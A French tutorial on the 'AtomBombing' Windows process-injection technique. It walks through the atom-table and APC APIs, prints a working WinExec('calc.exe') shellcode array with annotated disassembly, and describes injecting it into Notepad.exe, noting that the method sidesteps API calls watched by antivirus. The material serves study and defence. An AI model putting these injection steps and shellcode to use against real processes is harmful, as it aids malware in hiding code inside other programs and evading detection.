I. Introduction
Il existe différent mode d'injection de code dans une
applications cible. Il est intéressant de voir qu'il existe de nouvelle
technique ou des apis ressortant du passer.
Nous allons parler de cette technique apparu en octobre 2016
mis en avant par une équipe de chercheurs en sécurité de la société enSilo.
l'AtomBombing injection, ce nom est basé sur les Api
utilisées pour introduire du code dans un processus cible.
Cette nouvelle technique d'injection
de code pour Windows, ce base sur le mécanisme des Table d'Atom de windows.
Une table d'Atom dans l'architecture de windows sert pour
partager / échanger des données, c'est-à-dire des atomes, entre processus, en
utilisant la mémoire système partagée. Les
tables Atom sont utiles lorsque les processus doivent accéder aux mêmes
chaînes. Microsoft définit les tables Atom comme
suit:
"Une table d'Atom est une table
définie par le système qui stocke des chaînes accessible avec des identifiants.
Une application place une chaîne dans une table Atom et reçoit un entier de 16
bits comme identifiant dans la table que l'on appelé un "Atom" qui
peut être utilisé pour accéder à la chaîne, qui a été placée dans la "Atom
Table". C'est ce que l'on appel un nom d'atome".
II. L'injection AtomBombing en 3 étapes clés
· En premier disposer ou déterminer une zone
mémoire dans le processus cible pouvant accueillir le bloque mémoire à injecter
qui peut être exécutable et acceptant l'écriture
Cela peut être dans un cave code ou en appelant l'Api "VirtualAllocEx" dans le processus
malveillant vers la cible.
· Appelez la fonction
"GlobalAddAtom" via le processus malveillant pour injectez le code
malveillant sous la forme d'une chaîne dans la table Atom globale du systéme.
faut bien garder à l'esprit qu'une table Atom globale
est accessible à tous les processus du système.
· Utilisez un appel de
procédure asynchrone (APC) pour forcer
appel de la fonction "GlobalGetAtomName", afin de contraindre le
processus cible légitime à copier le code malveillant via la table Atom globale dans l'espace mémoire de
son processus via l'Atom
En suite le processus malveillant
via différente technique n'a pas plus cas forcer l'exécution du code dans le
processus qui à été inoculer par notre code malveillant comme il dispose de
l'emplacement via l'address ou est stocké celu-ci dans le processus cible.
L'attaque peut fonctionner contre
tout processus ayant un thread dans un état d'attente pour l'utilisation des
APC.
Revenons sur les Apis clés lié à la
gestion des Atoms
Schéma du principe du DDE via Table d'Atom
Les interactions des Apis interagissant avec la Table d'Atom
Les deux d'API a regardé sont:
- GlobalAddAtom(..) : Ajoute une chaîne de caractères à la table Atom globale et renvoie une valeur unique (un atome) identifiant la chaîne sur un WORD.
- GlobalGetAtomName(..) : Récupère une copie de la chaîne de caractères associée à l'atome global spécifié.
En appelant GlobalAddAtom(..),
vous pouvez stocker un tampon terminé par 0x00 dans la table atom globale.
Cette table est accessible depuis tous les autres
processus du système. Le
tampon peut ensuite être récupéré en appelant GlobalGetAtomName(..) .
GlobalGetAtomName attend un
pointeur vers le buffer de sortie, de sorte que l'appelant choisit où le buffer
sera stocké.
Via un petit programme, nous montrons ce processus DDE entre
2 process.
L'un insére dans la table d'Atom et récupérer l'identificant dans
notre exemple 0x343. Et l'autre récupérer la chaîne via l'Atom ( 0x343 ).
Important, les chaînes pouvant être contenu dans la Table
d'Atom ont une taille maximum de 256 octets. Et également elle est conçu pour
pas contenir de doublons . Si vous deux applications insérer la même chaîne la
table d'Atom vous renverra le même ATOM.
Maintenant rentrons dans notre cas pratique
Ajouter un buffer contenant un
shellcode à la table Atom globale en appelant GlobalAddAtom(..), puis que le
processus cible appelle GlobalGetAtomName(..), cela permet de copier le
shellcode vers le processus cible, sans appeler les classiques API
WriteProcessMemory(..) qui son scruté par les Anti-virus.
L'appel de GlobalAddAtom(..)est
basique dans le l'injecteur, mais la partie la plus subtile et de contraindre
le processus cible à appeler l'API
GlobalGetAtomName(..)
Le prototype de l'API
GlobalGetAtomName(..) est la suivant:
UINT WINAPI
GlobalGetAtomName ( _In_ ATOM
nAtom, _Out_ LPTSTR
lpBuffer, _In_ int
nSize )
|
Puisque GlobalGetAtomName attend
3 paramètres. Nous ne pouvons pas utiliser QueueUserApc(..) qui ne prend que un
paramètre.
Il faut ce tourné vers d'autre API Native APC qui elle
peuvent prendre jusqu'a 3 paramêtres qui sont NtQueueApcThread (..) ou
ZwQueueApcThread(..).
Maintenant pour notre shellcode, il doit respecter 2
contraintes l'une pas contenir de 0x00. Hormis délimité la fin de chaîne et
surtout ne pas dépasser 256 octets.
Pour notre exemple nous avons utiliser un shellcode de type
WinExec lançant la calculatrice. Etant qu'a faire qui soit compatible sur Vista
/ Win7
Pour cela nous allons utiliser un outils disposant de
différents Shellcode auto construit
nommé ConstructShellCodePEBWinExecCalc.exe. Le prototype 4
répond à nos deux critères de taille et n'incluans pas de 0x00.
Nous mettons le shellcode dans le tableau en
dessous en rajoutant le fin de chaîne 0x00.
\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B
\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB
\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0
\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B
\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B
\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30
\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39
\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF
\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11
\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A
\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3\x00
|
Bon vu comme cela c'est pas très explicite. Nous vous
mettons le codes Assembleur correspondant
00000000: 78 35 JS 35h
(rel8)(+35h ->:00000037)'Saut si drapeau de signe vaut 1 (SF=1)'
00000002: 35 8B EC 51 53 XOR EAX,5351EC8Bh
00000007: 57 PUSH
EDI
00000008: EB 6D JMP
6Dh +6Dh ->:00000077)
0000000A: 60 PUSHAD
0000000B: 8B 6C 24 24 MOV EBP,[ESP+24h]
0000000F: 8B 45 3C MOV
EAX,DWORD PTR [EBP+3Ch]
00000012: 8B 54 05 78 MOV EDX,DWORD PTR[EBP+EAX+78h]
00000016: 01 EA ADD
EDX,EBP
00000018: 8B 4A 18 MOV
ECX,[EDX+18h]
0000001B: 8B 5A 20 MOV
EBX,DWORD PTR [EDX+20h]
0000001E: 01 EB ADD
EBX,EBP
00000020: E3 34 JECXZ
34h (-FFFFFFCCh ->:00000056)
00000022: 49 DEC
ECX
00000023: 8B 34 8B MOV
ESI,[EBX+ECX*4]
00000026: 01 EE ADD
ESI,EBP
00000028: 31 FF XOR
EDI,EDI
0000002A: 31 C0 XOR
EAX,EAX
0000002C: FC CLD
0000002D: AC LODSB
0000002E: 84 C0 TEST
AL,AL
00000030: 74 07 JZ
07h (-FFFFFFF9h ->:00000039)
00000032: C1 CF 0D ROR
EDI,0Dh (13)
00000035: 01 C7 ADD
EDI,EAX
00000037: EB F4 JMP
F4h (-0Ch ->:0000002D)
00000039: 3B 7C 24 28 CMP EDI,[ESP+28h]
0000003D: 75 E1 JNZ
E1h (rel8)(-1Fh ->:00000020)
0000003F: 8B 5A 24 MOV
EBX,DWORD PTR [EDX+24h]
00000042: 01 EB ADD
EBX,EBP
00000044: 66 8B 0C 4B MOV CX,WORD PTR DS:[EBX+ECX*2]
00000048: 8B 5A 1C MOV
EBX,DWORD PTR [EDX+1Ch]
0000004B: 01 EB ADD
EBX,EBP
0000004D: 8B 04 8B MOV
EAX,DWORD PTR[EBX+ECX*4]
00000050: 01 E8 ADD
EAX,EBP
00000052: 89 44 24 1C MOV DWORD PTR[ESP+1Ch],EAX
00000056: 61 POPAD
00000057: C3 RET
00000058: 56 PUSH
ESI
00000059: 57 PUSH
EDI
0000005A: 33 C9 XOR
ECX,ECX
0000005C: 64 8B 71 30 MOV ESI,DWORD PTR FS:[ECX+30h]
00000060: 8B 76
0C MOV
ESI,[ESI+0Ch]
00000063: 8B 76
1C MOV
ESI,[ESI+1Ch]
00000066: 8B 46 08 MOV
EAX,DWORD PTR[ESI+08h]
00000069: 8B 7E 20 MOV
EDI,[ESI+20h]
0000006C: 8B 36 MOV
ESI,DWORD PTR[ESI]
0000006E: 66 39 4F 18 CMP WORD PTR[EDI+18h],CX
00000072: 75 F2 JNZ
F2h (rel8)(-0Eh ->:00000066)
00000074: 5F POP
EDI
00000075: 5E POP
ESI
00000076: C3 RET
00000077: 68 98 FE 8A 0E PUSH 0E8AFE98h "˜þŠ
" (0E8AFE98=Hash[ROR13(Additive)]('WinExec'))
0000007C: E8 D7 FF FF FF CALL FFFFFFD7h (-29h ->:00000058)
00000081: 50 PUSH
EAX
00000082: E8 83 FF FF FF CALL FFFFFF83h (-7Dh ->:0000000A)
00000087: BB 11 11 11 11 MOV EBX,11111111h " "
0000008C: 81 F3
11 11 11 11 XOR
EBX,11111111h
00000092: 53 PUSH
EBX
00000093: 68 2E 65 78 65 PUSH 6578652Eh ".exe" / {46 101 120
101} / < w:30821 | w:11877 >
00000098: 68 63 61 6C 63 PUSH 636C6163h "calc" / {99 97 108 99}
/ < w:27747 | w:25441 >
0000009D: 8B FC MOV EDI,ESP
0000009F: 6A 01 PUSH
01h (1)
000000A1: 57 PUSH
EDI
000000A2: FF D0 CALL
EAX
000000A4: 5F POP
EDI
000000A5: 5B POP
EBX
000000A6: 8B E5 MOV
ESP,EBP
000000A8: 5D POP
EBP
000000A9: C3 RET
000000AA: 00
|
Nous allons passer le shellcode dans un analyseur de
shellcode maison permettant d'extraire et donner un diagramme encore plus
simple du code.
Maintenant nous avons plus qu'a positionner ce shellcode
dans la Table d'Atom et obtenir un Atom.
Nous voyons dans notre exemple l'Atom correspondant est 0xC4C5
Si a partir de notre programme, nous récupérons la chaîne
correspondante via
l'API
GlobalGetAtomName(..), nous obtenons la vu suivant:III. Mise en pratique de l'injection
Maintenant nous allons injecter le shellcode dans un programme standard
Pour notre exemple nous utilisons comme cible
"Notepad.exe"
nous injectons le shellcode via notre injecteur sur notre
processus Notepad.exe qui a dans notre exemple le process ID = 3536 et comme
Thread ID principale 2292
dans notre exemple nous avons utiliser l'API
VirtualAllocEx(..) pour obtenir un bloc de mémoire PAGE_EXECUTE_READWRITE qui
ce trouve à l'addresse 0x001A0000 dans l'exemple.
Pour visualiser la mémoire du processus Notepad.exe, nous
avons utilisé un outil d'analyse de processus X32 permettant de faire un dump
de la mémoire
Vous pouvez voir dans la capture écran suivant l'analyse
de la mémoire correspondant
En fait,
vous ne voyez pas le shellcode injecté, car pour l'instant le thread principal
n'a pas encore traité les APC en attente pour ce thread principal.
En fait, pour déclencher ou contrainte le processus Notepad.exe à
traiter les APC en attente, il suffit d'appeler la boite ouvrir ou enregistrer
pour voir les l'appel effectué et donc la mémoire rempli du shellcode.
IV. Conclusions
Il est intéressant de voir le mécanisme windows et le
fonctionnement des APIs
En regardant bien cette technique à aussi d'autre avantage
comme écrire dans un processus X64 à partir d'un processus X32 ou aussi en
allant plus loin on peut regarder d'autre fonction utilisant des table d'Atom.